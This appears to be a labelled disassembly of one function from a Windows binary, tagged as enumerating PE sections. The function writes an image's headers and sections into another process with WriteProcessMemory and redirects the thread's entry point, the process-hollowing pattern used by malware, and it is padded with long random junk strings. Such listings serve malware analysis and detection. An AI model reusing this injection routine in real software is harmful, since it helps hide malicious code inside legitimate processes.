Function at 0x4069f0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415ec0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x4543c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
push 0x42165c
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x455720]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x406a68
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x406ac7
mov dword [ebp - 0x24], str.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
mov dword [ebp - 0x28], str.2HE9hUJYzbsnEij64VriTr3B6qovCzcn2UWNOl1M5do6hhYXKipCL1NxXB4syjDpDjIlySn5Vh8P77Td0UsMjtvriLt6MRiBw0MN9FFb0A3sXGX9JvpRnRX31uN65PGsrKuP7e5HMyAV2RNT6tCyFKcnFvceAO7hk5IDUzYAqMbkSsQtkSY
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x455720]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x406a5f
mov dword [ebp - 0x2c], str.emOHMuKiQQHRLej31PCUbiDGxfbO4FVLkVABu6NXq1P9Dp8DzLNWqJ9HsyyuIuoHmtEE6fMkwRvLciP8WvMAy8RGRN0W6HcTGGYt9sBNyhxJXhEvsv9CW7cySnHaivRC5egwhVHnPC3p3UOON9gE4X5Ru59n0kReFJ06jz1BvFosfYAe4NebxIWHxd4czNJ91Lrhc1XCFGcUXtdWJLUr85LKQsuw0KYT2RA21zyaiol6iz0hHh0xLt2h22GDUea43ve91ggweT0GTDfBeyQru2H5Gyb6BrOkL8TbxM5yeRzF
mov dword [ebp - 0x30], str.MrjwepVlYLGifBIEqj8BcwIxQLqExUbmswzbrxKEgm0aAN9DIFPIa3iNKhOUerzxWK7IrgKV9pT01UGsoFLz2sVO7c1m1B9XDvywVrbUY4TMozeS87KDbWxkkStPa6670uqIr61LImYLQ1RGFcxdMQFvmwbvfeRyAPeckpUfPbzvV7QESsSiSFB7KfxMbW6O34qBKEgzrkyLsnGCETsGk0ioD3okeQCt34rpLi8wbvhCz04o1QTXMCq7HN45Wau6paBLcTinjjvnLLSO03NqKppyfhkgeLViY3hEHbfSDcvCR8eJMDHcArhv8bokkbpGHLHMN1aozwWd0ao2B967qRRiL2V1LyyTBO6FNpVG5y1hDATAKusNg1DIcj4ksFfyK3ExQua8IrhczNrj
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x455720]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x34], str.bdHmuRYfP7BcPufAS7M14g3jp21JTDjUQ3jha088RwdYYzo8lqRbhQWMRk0GAEH2mWAr9Eui6enelwJTa3jlpG4DUrBvxutm7nMFf9zE47sWY2wth9RFaDI1lHonv9qw8HF0zs79ksIYMSH1fNLBzfv90PRe0I8DYcpJzc1KxWqRt3UaaXEO1GcfRXuLqxQnO1Ds2BoprCJWBCx4KtFiaNKvVBGrYXxUnct22yz9RXOjwQCqg6mg21ldlDPvIBQVXFrx1B4VGNLQr6UryqKdXsmCfnfWu8bDthxnJUDMTnDboTUN40lSERm0Utdx0oyJnIfciicMwjpGeSMJNf3l5CaDG2f7Az5QDowwrdimR9V7Qr7roeJ7Kn8CzjNV5B6xmCO1nqVFsSv62KLz9SWN133jr2YsaTB95AyhbpWMNNkS0zxDvKc5Mf7zDdQXB24Vm0yos40UfwRF2p88uLpE0pYEFpL4LR0daureUVgO28QY8TiGuNk4IHQn0HlGHoSmPFzsshsQg8gDQVNXiFtF70q7Vyr55RfQ655D55KWYvnOtAqI595EyRVPGXePcHBf5dP6X0UB6GI2RbXOqXd4uz56oj6R1xxbjxx3poaTpz47x9daiOCIz6911sIq7eAlGtAvQmgwBttcFd0J2kTkx7SjsI25KNmwvociQGuHgciN3fbDn6mmi1zevRgJMurzszk59PCgSX5H9mA0tF6bSR1FN7QBJKrsCjFmB0YANvG51Q74QxXVutw2V8ygJgYcsPKue4nEhWgnoeC9qaABrjUml3nzCPIQQiNA9D82tSapEb2BtVn2czxemrzKNxkD2QRDF07Qpo4iNCgUIcrQmbgOekFmmErMEzIub9HN2WQuuFfCfhJwFHrS4euf1CMCIuTJiMKc7yJLYCUmwqVm1t0JS34B774zHAKQFkFTpB9ge2fOqSuvqtjhAbKYF1Y8nOlacRolvXNoMAeKcMCT5qj1Xu9ckniPW5xKOejxSWFUReP3vgikgIr1M408a7VduSvOhWIuCl2C4gd3xWpBXLHUrpGs8DMzwkuSfoRq0Vys6VnFKRAc0AQSXXBwYeH2tdhTTu5a0GV0eX7y7DAuKzuy3vrd0PiPn7EaztchpSrPfIVwv7scP39Q4ktkXErPsDtoAgRwIiTpnLC038mtL78L6cAv5amzbpFCeBBI6fF7jWk41zwP4DBxWrck36Dcb2hmHYJTrxLcepxsVkfcbezr7TkeXr8ul9nsdEpbmwJNIv2xuhVRugQXKTyyqu4TGraaPDBS82GWOTWkBm2xnU5IMj4ysKXuvAS6HJ9oJsmA3vIrov6i87JqOuBkx3J0fgQkPtEjUE1xnwac9wo4O7FhMi5AmTqga8SHOcMUXnTwoH10x4tJDnT3AxjBjXxlGQrl0Kg2dYqBaRpH5UsyHtnfOpFWfMFVoJsRUTTUn8Lpyp11V4DYIPxIalCJ7UJJ82nqyE5vkdhrycAoUr7jyyhVebQot3KvbTpY6HLgT4wzPkPqdXJFas2TuhmHw8H7arxiQumeK0nYE3wKrt61H3KdmnnJ8iBtaLw1g6P5sJXaWRq5ALB7qxS44IpVLPuCzRRyUmE2uwFXgrje0AoAJQpcM0f3zjnDeKQdyNMQcXbyNF03tFnQcCOXAkU9l
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x406b43
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14